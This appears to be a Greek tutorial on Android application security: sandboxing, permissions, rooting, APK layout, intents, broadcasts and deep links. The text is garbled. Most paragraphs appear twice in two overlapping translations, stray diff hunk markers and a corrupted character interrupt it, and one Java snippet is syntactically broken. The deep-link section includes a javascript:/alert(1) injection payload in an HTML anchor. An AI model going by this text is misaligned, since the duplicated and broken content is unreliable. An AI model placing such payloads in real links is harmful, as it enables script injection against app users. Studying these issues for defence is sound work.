Η **Sandbox Εφαρμογών Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως **ξεχωριστή διαδικασία υπό μια ξεχωριστή Ταυτότητα Χρήστη**. Κάθε διαδικασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένος από άλλες εφαρμογές.\
Από το Android 5.0(L) **επιβάλλεται το SELinux**. Βασικά, το SELinux αρνείται όλες τις αλληλεπιδράσεις διαδικασιών και στη συνέχεια δημιουργεί πολιτικές για **να επιτρέπει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
### Δικαιώματα
### Άδειες
Όταν εγκαθιστάτε μια **εφαρμογή και σας ζητά δικαιώματα**, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα του ζητούμενου δικαιώματος μέσα στο **όνομα** **χαρακτηριστικό.** Έχει επίσης το χαρακτηριστικό **maxSdkVersion** που σταματά το αίτημα δικαιωμάτων σε εκδόσεις υψηλότερες από αυτήν που καθορίζεται.\
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα δικαιώματα από την αρχή, μπορούν επίσης **να ζητήσουν δικαιώματα δυναμικά** αλλά όλα τα δικαιώματα πρέπει να **δηλωθούν** στο **μεταδεδομένα.**
Όταν εγκαθιστάτε μια **εφαρμογή και ζητά άδειες**, η εφαρμογή ζητά τις άδειες που έχουν ρυθμιστεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα της ζητούμενης άδειας μέσα στο **attribute name**. Έχει επίσης το **maxSdkVersion** attribute που σταματά να ζητά άδειες σε εκδόσεις υψηλότερες από αυτήν που έχει καθοριστεί.\
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητούν όλες τις άδειες στην αρχή, μπορούν επίσης να **ζητούν άδειες δυναμικά** αλλά όλες οι άδειες πρέπει να είναι **δηλωμένες** στο **μανιφέστο**.
Όταν μια εφαρμογή εκθέτει λειτουργικότητα, μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν ένα συγκεκριμένο δικαίωμα**.\
Ένα στοιχείο δικαιώματος έχει τρία χαρακτηριστικά:
Όταν μια εφαρμογή εκθέτει λειτουργικότητα μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν μια καθορισμένη άδεια**.\
Ένα στοιχείο άδειας έχει τρία attributes:
* Το **όνομα** του δικαιώματος
* Το χαρακτηριστικό **permission-group**, που επιτρέπει την ομαδοποίηση σχετικών δικαιωμάτων.
* Το **επίπεδο προστασίας** που υποδεικνύει πώς χορηγούνται τα δικαιώματα. Υπάρχουν τέσσερα είδη:
* **Κανονικό**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Δεν απαιτείται η έγκριση του χρήστη.
* **Επικίνδυνο**: Υποδεικνύει ότι το δικαίωμα χορηγεί στην αιτούσα εφαρμογή κάποια **υψηλότερη πρόσβαση**. **Οι χρήστες καλούνται να τα εγκρίνουν**.
* **Υπογραφή**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο μπορούν να χορηγηθούν δικαιώματα. Αυτό είναι το ισχυρότερο επίπεδο προστασίας.
* **ΥπογραφήΉΣύστημα**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο ή **εφαρμογές που λειτουργούν με επίπεδο πρόσβασης συστήματος** μπορούν να χορηγηθούν δικαιώματα
* Το **όνομα** της άδειας
* Το attribute **permission-group**, το οποίο επιτρέπει την ομαδοποίηση σχετικών αδειών.
* Το **protection-level** που υποδεικνύει πώς χορηγούνται οι άδειες. Υπάρχουν τέσσερις τύποι:
* **Normal**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Ο χρήστης **δεν απαιτείται να την εγκρίνει**.
* **Dangerous**: Υποδεικνύει ότι η άδεια παρέχει στην αιτούμενη εφαρμογή κάποια **υψηλή πρόσβαση**. **Οι χρήστες ζητούνται να τις εγκρίνουν**.
* **Signature**: Μόνο **εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο** μπορούν να λάβουν άδεια. Αυτός είναι ο ισχυρότερος τύπος προστασίας.
* **SignatureOrSystem**: Μόνο **εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό με αυτό που εξάγει το στοιχείο ή **εφαρμογές που εκτελούνται με πρόσβαση επιπέδου συστήματος** μπορούν να λάβουν άδειες.
## Προεγκατεστημένες Εφαρμογές
Αυτές οι εφαρμογές βρίσκονται συνήθως στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και κάποιες από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αξίζει να ελέγξετε αυτές τις εφαρμογές επειδή μερικές φορές τρέχουν με **πάρα πολλά δικαιώματα** (ως ριζικός χρήστης).
Αυτές οι εφαρμογές βρίσκονται γενικά στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και μερικές από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αυτές οι εφαρμογές αξίζουν να ελεγχθούν γιατί μερικές φορές **εκτελούνται με πάρα πολλές άδειες** (ως root).
* Αυτές που παρέχονται με το **AOSP** (Android OpenSource Project) **ROM**
* Αυτές που αποστέλλονται με το **AOSP** (Android OpenSource Project) **ROM**
* Προστέθηκαν από τον **κατασκευαστή της συσκευής**
* Προστέθηκαν από τον πάροχο **κινητής τηλεφωνίας** (αν αγοράστηκε από αυτούς)
* Προστέθηκαν από τον **πάροχο κινητής τηλεφωνίας** (αν αγοράστηκαν από αυτούς)
## Rooting
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη **συσκευή** και τη **έκδοση**.\
Για να αποκτήσετε πρόσβαση root σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη **συσκευή** και **έκδοση**.\
Αφού η εκμετάλλευση έχει λειτουργήσει, συνήθως το δυαδικό `su` του Linux αντιγράφεται σε μια τοποθεσία που καθορίζεται στη μεταβλητή PATH του χρήστη όπως `/system/xbin`.
Αφού ρυθμιστεί το δυαδικό su, χρησιμοποιείται μια άλλη εφαρμογή Android για να αλληλεπιδράσει με το δυαδικό `su` και να **επεξεργαστεί αιτήματα για πρόσβαση root** όπως **Superuser** και **SuperSU** (διαθέσιμα στο Google Play store).
{% hint style="danger" %}
Σημειώστε ότι η διαδικασία rooting είναι πολύ επικίνδυνη και μπορεί να προκαλέσει σοβαρή ζημιά στη συσκευή.
{% endhint %}
### ROMs
Είναι δυνατόν να **αντικαταστήσετε το OS εγκαθιστώντας ένα προσαρμοσμένο firmware**. Κάνοντας αυτό, είναι δυνατό να επεκτείνετε τη χρησιμότητα μιας παλιάς συσκευής, να παρακάμψετε περιορισμούς λογισμικού ή να αποκτήσετε πρόσβαση στον τελευταίο κώδικα Android.\
**OmniROM** και **LineageOS** είναι δύο από τα πιο δημοφιλή firmware που χρησιμοποιούνται.
Σημειώστε ότι **δεν είναι πάντα απαραίτητο να κάνετε root τη συσκευή** για να εγκαταστήσετε ένα προσαρμοσμένο firmware. **Ορισμένοι κατασκευαστές επιτρέπουν** την ξεκλείδωσή των bootloaders τους με καλά τεκμηριωμένο και ασφαλή τρόπο.
### Επιπτώσεις
Αφού μια συσκευή είναι rooted, οποιαδήποτε εφαρμογή θα μπορούσε να ζητήσει πρόσβαση ως root. Αν μια κακόβουλη εφαρμογή το αποκτήσει, θα έχει πρόσβαση σχεδόν σε όλα και θα μπορεί να προκαλέσει ζημιά στο τηλέφωνο.
## Θεμελιώδη Στοιχεία Εφαρμογών Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Η μορφή των εφαρμογών Android αναφέρεται ως _APK file format_. Είναι ουσιαστικά ένα **ZIP αρχείο** (με την αλλαγή της επέκτασης αρχείου σε .zip, το περιεχόμενο μπορεί να εξαχθεί και να προβληθεί).
- Περιεχόμενα APK (Όχι εξαντλητικά)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: περιέχει προcompiled resources, όπως το binary XML.
- res/xml/files\_paths.xml
- META-INF/
- Εδώ βρίσκεται το Πιστοποιητικό!
- **classes.dex**
- Περιέχει Dalvik bytecode, που αντιπροσωπεύει τον μεταγλωττισμένο κώδικα Java (ή Kotlin) που εκτελεί η εφαρμογή από προεπιλογή.
- lib/
- Περιέχει εγγενείς βιβλιοθήκες, διαχωρισμένες κατά αρχιτεκτονική CPU σε υποκαταλόγους.
- `armeabi`: κώδικας για επεξεργαστές ARM
- `armeabi-v7a`: κώδικας για επεξεργαστές ARMv7 και ανώτερους
- `x86`: κώδικας για επεξεργαστές X86
- `mips`: κώδικας μόνο για επεξεργαστές MIPS
- assets/
- Αποθηκεύει διάφορα αρχεία που χρειάζεται η εφαρμογή, ενδεχομένως περιλαμβάνοντας επιπλέον εγγενείς βιβλιοθήκες ή DEX αρχεία, που μερικές φορές χρησιμοποιούνται από συγγραφείς κακόβουλου λογισμικού για να αποκρύψουν επιπλέον κώδικα.
- res/
- Περιέχει πόρους που δεν έχουν μεταγλωττιστεί σε resources.arsc.
### **Dalvik & Smali**
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί την JVM όπως στις επιτραπέζιες εφαρμογές, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, το Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
Για την ανάστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από ανθρώπους έκδοση του DEX bytecode, λειτουργώντας όπως η γλώσσα συναρμολόγησης μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία συναρμολόγησης και αποσυναρμολόγησης σε αυτό το πλαίσιο.
Για την αντίστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από άνθρωπο έκδοση του DEX bytecode, λειτουργώντας σαν γλώσσα assembly μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία assembly και disassembly σε αυτό το πλαίσιο.
## Intents
Τα Intents είναι ο κύριος τρόπος με τον οποίο οι εφαρμογές Android επικοινωνούν μεταξύ των συστατικών τους ή με άλλες εφαρμογές. Αυτά τα αντικείμενα μηνυμάτων μπορούν επίσης να μεταφέρουν δεδομένα μεταξύ εφαρμογών ή στοιχείων, παρόμοια με τον τρόπο με τον οποίο χρησιμοποιούνται οι αιτήσεις GET/POST στις επικοινωνίες HTTP.
Τα Intents είναι ο κύριος τρόπος με τον οποίο οι εφαρμογές Android επικοινωνούν μεταξύ των στοιχείων τους ή με άλλες εφαρμογές. Αυτά τα αντικείμενα μηνυμάτων μπορούν επίσης να μεταφέρουν δεδομένα μεταξύ εφαρμογών ή στοιχείων, παρόμοια με το πώς χρησιμοποιούνται τα GET/POST requests στις επικοινωνίες HTTP.
Έτσι, ένα Intent είναι βασικά ένα **μήνυμα που περνάει μεταξύ συστατικών**. Τα Intents **μπορούν να κατευθυνθούν** σε συγκεκριμένα στοιχεία ή εφαρμογές, **ή να σταλούν χωρίς συγκεκριμένο παραλήπτη**.\
Για να είναι απλό, το Intent μπορεί να χρησιμοποιηθεί:
Έτσι, ένα Intent είναι βασικά ένα **μήνυμα που μεταφέρεται μεταξύ στοιχείων**. Τα Intents **μπορούν να κατευθύνονται** σε συγκεκριμένα στοιχεία ή εφαρμογές, **ή μπορούν να σταλούν χωρίς συγκεκριμένο παραλήπτη**.\
Για να είμαστε απλοί, το Intent μπορεί να χρησιμοποιηθεί:
* Για να ξεκινήσει μια Δραστηριότητα, συνήθως ανοίγοντας μια διεπαφή χρήστη για μια εφαρμογή
* Ως μεταδόσεις για να ενημερώσουν το σύστημα και τις εφαρμογές για αλλαγές
* Για να ξεκινήσει, να σταματήσει και να επικοινωνήσει με ένα υπόβαθρο υπηρεσία
* Για πρόσβαση σε δεδομένα μέσω ContentProviders
* Ως κλήσεις πίσω για την χειρισμό συμβάντων
* Ως broadcasts για να ενημερώσουν το σύστημα και τις εφαρμογές για αλλαγές
* Για να ξεκινήσει, να σταματήσει και να επικοινωνήσει με μια υπηρεσία στο παρασκήνιο
* Για να αποκτήσει πρόσβαση σε δεδομένα μέσω ContentProviders
* Ως callbacks για να χειριστεί γεγονότα
Εάν είναι ευάλωτα, τα **Intents μπορούν να χρησιμοποιηθούν για να πραγματοποιήσουν μια ποικιλία επιθέσεων**.
Αν είναι ευάλωτα, **τα Intents μπορούν να χρησιμοποιηθούν για να εκτελέσουν μια ποικιλία επιθέσεων**.
### Intent-Filter
Τα **Intent Filters** ορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Δέκτης Μετάδοσης μπορεί να αλληλεπιδράσει με διαφορετικούς τύπους Intents**. Βασικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή τι είδους μεταδόσεις μπορούν να επεξεργαστούν. Ο κύριος τρόπος να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **αρχείο AndroidManifest.xml**, αν και για τους Δέκτες Μετάδοσης, η κωδικοποίησή τους είναι επίσης μια επιλογή.
**Intent Filters** ορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διάφορους τύπους Intents**. Ουσιαστικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελούν ή τους τύπους broadcasts που μπορούν να επεξεργαστούν. Ο κύριος χώρος για να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **AndroidManifest.xml αρχείο**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή.
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα συμπερίληψης επιπλέον μεταδεδομένων. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειριστούν συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα να περιλαμβάνουν επιπλέον μεταδεδομένα. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειρίζονται συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον προσανατολισμό. Ωστόσο, Ͽαρχει ένας τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον προσανατολισμό τους.
Μια κρίσιμη πτυχή των στοιχείων Android (δραστηριότητες/υπηρεσίες/content providers/broadcast receivers) είναι η ορατότητά τους ή η **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδράσει με άλλες εφαρμογές αν είναι **`exported`** με τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter γι' αυτό στο μανιφέστο. Ωστόσο, υπάρχει τρόπος για τους προγραμματιστές να κρατήσουν ρητά αυτά τα στοιχεία ιδιωτικά, διασφαλίζοντας ότι δεν αλληλεπιδρούν με άλλες εφαρμογές κατά λάθος. Αυτό επιτυγχάνεται ρυθμίζοντας το **`exported`** attribute σε **`false`** στις δηλώσεις μανιφέστου τους.
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδρά με αυτό.
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το **`permission`** attribute μπορεί να ρυθμιστεί ώστε να επιβάλλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να αποκτήσουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και ελέγχου σχετικά με το ποιος μπορεί να αλληλεπιδράσει με αυτό.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
```
### Συμπεριληπτικές Προθέσεις
### Implicit Intents
Οι προθέσεις δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Πρόθεσης:
Τα Intents δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Intent:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
Η **Ενέργεια** της προηγουμένως δηλωμένης πρόθεσης είναι **ACTION\_SEND** και το **Επιπλέον** είναι ένα mailto **Uri** (το Επιπλέον είναι η επιπλέον πληροφορία που αναμένει η πρόθεση).
Η **Δράση** της προηγουμένως δηλωμένης πρόθεσης είναι **ACTION\_SEND** και το **Επιπλέον** είναι ένα mailto **Uri** (το Επιπλέον είναι οι επιπλέον πληροφορίες που περιμένει η πρόθεση).
Αυτή η πρόθεση πρέπει να δηλωθεί μέσα στον πίνακα όπως στο παρακάτω παράδειγμα:
Αυτή η πρόθεση θα πρέπει να δηλωθεί μέσα στο μανιφέστο όπως στο παρακάτω παράδειγμα:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -122,50 +165,50 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
</intent-filter>
</activity>
```
Ένα intent-filter χρειάζεται να ταιριάζει την **action**, **data** και **category** για να λάβει ένα μήνυμα.
Ένα intent-filter πρέπει να ταιριάζει με την **ενέργεια**, **δεδομένα** και **κατηγορία** για να λάβει ένα μήνυμα.
Η διαδικασία "Επίλυση Intent" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "επιλογής" ώστε ο **χρήστης να αποφασίσει**.
Η διαδικασία "Επίλυσης Intent" καθορίζει ποια εφαρμογή θα λάβει κάθε μήνυμα. Αυτή η διαδικασία εξετάζει το **χαρακτηριστικό προτεραιότητας**, το οποίο μπορεί να οριστεί στην δήλωση **intent-filter**, και **αυτό με την υψηλότερη προτεραιότητα θα επιλεγεί**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει μια **σύγκρουση**, εμφανίζεται ένα παράθυρο "επιλογής" ώστε ο **χρήστης να αποφασίσει**.
### Σαφή Intents
### Ρητές Intents
Ένα σαφές intent καθορίζει το όνομα της κλάσης που στοχεύει:
Μια ρητή πρόθεση καθορίζει το όνομα της κλάσης που στοχεύει:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Σε άλλες εφαρμογές για να έχετε πρόσβαση στο προηγουμένως δηλωμένο intent μπορείτε να χρησιμοποιήσετε:
Σε άλλες εφαρμογές, προκειμένου να αποκτήσετε πρόσβαση στην προηγουμένως δηλωμένη πρόθεση, μπορείτε να χρησιμοποιήσετε:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Ενέργειες σε εκκρεμείς προθέσεις
### Pending Intents
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας εκκρεμούς πρόθεσης πρέπει να **καθοριστεί μια πρόθεση και η ενέργεια που πρέπει να εκτελεστεί**. Αν η **δηλωμένη πρόθεση δεν είναι Σαφής** (δεν δηλώνει ποια πρόθεση μπορεί να την καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
Αυτά επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Για να κατασκευάσετε ένα Pending Intent, θα πρέπει να **καθοριστεί μια πρόθεση και η ενέργεια που θα εκτελεστεί**. Εάν η **δηλωμένη πρόθεση δεν είναι Explicit** (δεν δηλώνει ποια πρόθεση μπορεί να την καλέσει), μια **κακόβουλη εφαρμογή θα μπορούσε να εκτελέσει την δηλωμένη ενέργεια** εκ μέρους της εφαρμογής-θύματος. Επιπλέον, **εάν δεν καθοριστεί κάποια ενέργεια**, η κακόβουλη εφαρμογή θα είναι σε θέση να εκτελέσει **οποιαδήποτε ενέργεια εκ μέρους της θύματος**.
### Εκπομπές Προθέσεων
### Broadcast Intents
Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες λαμβάνονται μόνο από μία εφαρμογή, οι εκπομπές προθέσεων **μπορούν να ληφθούν από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες γίνονται δεκτές μόνο από μία εφαρμογή, οι broadcast intents **μπορούν να γίνουν δεκτές από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που θα λάβει** το μήνυμα χρησιμοποιώντας το Intent.setPackage.
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή της εκπομπής**. Η εφαρμογή παραλήπτης θα πρέπει να έχει αυτήν την άδεια.
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή του broadcast**. Η εφαρμογή παραλήπτης θα χρειαστεί να έχει αυτή την άδεια.
Υπάρχουν **δύο τύποι** Εκπομπών: **Κανονικές** (ασύγχρονες) και **Ταξινομημένες** (σύγχρονες). Η **σειρά** βασίζεται στη **διαμορφωμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταδώσει ή να απορρίψει την Εκπομπή.**
Υπάρχουν **δύο τύποι** Broadcasts: **Normal** (ασύγχρονα) και **Ordered** (συγχρονισμένα). Η **σειρά** βασίζεται στην **καθορισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταφέρει ή να απορρίψει το Broadcast.**
Είναι δυνατό να **στείλετε** μια **εκπομπή** χρησιμοποιώντας τη συνάρτηση `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
Μπορείτε επίσης να χρησιμοποιήσετε τη συνάρτηση **`sendBroadcast`** από το **`LocalBroadCastManager`** εξασφαλίζοντας ότι το **μήνυμα δεν αφήνει ποτέ την εφαρμογή**. Χρησιμοποιώντας αυτό, ακόμα και δεν θα χρειαστεί να εξαγάγετε ένα στοιχείο παραλήπτη.
Είναι δυνατό να **σταλεί** ένα **broadcast** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από τον **`LocalBroadCastManager`** που διασφαλίζει ότι το **μήνυμα δεν θα φύγει ποτέ από την εφαρμογή**. Χρησιμοποιώντας αυτό, δεν θα χρειαστεί καν να εξάγετε ένα στοιχείο παραλήπτη.
### Κολλώδεις Εκπομπές
### Sticky Broadcasts
Αυτού του είδους οι Εκπομπές **μπορούν να ανακτηθούν πολύ καιρό μετά την αποστολή τους**.\
Αυτές αποσύρθηκαν στην έκδοση API επιπέδου 21 και συνιστάται να **μην χρησιμοποιούνται**.\
**Επιτρέπουν σε οποιαδήποτε εφαρμογή να κατασκοπεύσει τα δεδομένα, αλλά και να τα τροποποιήσει.**
Αυτός ο τύπος Broadcasts **μπορεί να προσπελαστεί πολύ μετά την αποστολή τους**.\
Αυτά έχουν αποσυρθεί στην έκδοση API 21 και συνιστάται να **μην τα χρησιμοποιείτε**.\
**Επιτρέπουν σε οποιαδήποτε εφαρμογή να κατασκοπεύει τα δεδομένα, αλλά και να τα τροποποιεί.**
Αν βρείτε συναρτήσεις που περιέχουν τη λέξη "κολλώδεις" όπως **`sendStickyBroadcast`** ή **`sendStickyBroadcastAsUser`**, **ελέγξτε τις επιπτώσεις και προσπαθήστε να τις αφαιρέσετε**.
Εάν βρείτε λειτουργίες που περιέχουν τη λέξη "sticky" όπως **`sendStickyBroadcast`** ή **`sendStickyBroadcastAsUser`**, **ελέγξτε τον αντίκτυπο και προσπαθήστε να τα αφαιρέσετε**.
## Βαθιοί σύνδεσμοι / Σχήματα URL
## Deep links / URL schemes
Στις εφαρμογές Android, οι **βαθιοί σύνδεσμοι** χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Πρόθεση) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **σχήμα URL** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **έχει πρόσβαση σε ένα URL με αυτό το σχήμα**, η συγκεκριμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
Στις εφαρμογές Android, οι **deep links** χρησιμοποιούνται για να ξεκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **URL scheme** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **προσεγγίσει ένα URL με αυτό το scheme**, η καθορισμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
Το σχήμα πρέπει να δηλωθεί στο αρχείο **`AndroidManifest.xml`**:
Το scheme πρέπει να δηλωθεί στο **`AndroidManifest.xml`** αρχείο:
```xml
[...]
<activity android:name=".MyActivity">
@ -177,44 +220,44 @@ context.startService(intent);
</intent-filter>
[...]
```
Το σχήμα από το προηγούμενο παράδειγμα είναι `exampleapp://` (σημειώστε επίσης τη **`κατηγορία BROWSABLE`**)
Το σχήμα από το προηγούμενο παράδειγμα είναι `exampleapp://` (σημειώστε επίσης το **`category BROWSABLE`**)
Στο πεδίο δεδομένων, μπορείτε να καθορίσετε το **host** και τη **διαδρομή**:
Στη συνέχεια, στο πεδίο δεδομένων, μπορείτε να καθορίσετε τον **host** και την **path**:
```xml
<data android:scheme="examplescheme"
android:host="example"
/>
```
Για να έχετε πρόσβαση μέσω ιστοσελίδας είναι δυνατόν να ορίσετε ένα σύνδεσμο όπως:
Για να αποκτήσετε πρόσβαση σε αυτό από τον ιστό, είναι δυνατόν να ορίσετε έναν σύνδεσμο όπως:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**.
Για να βρείτε τον **κώδικα που θα εκτελείται στην Εφαρμογή**, πηγαίνετε στην δραστηριότητα που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**.
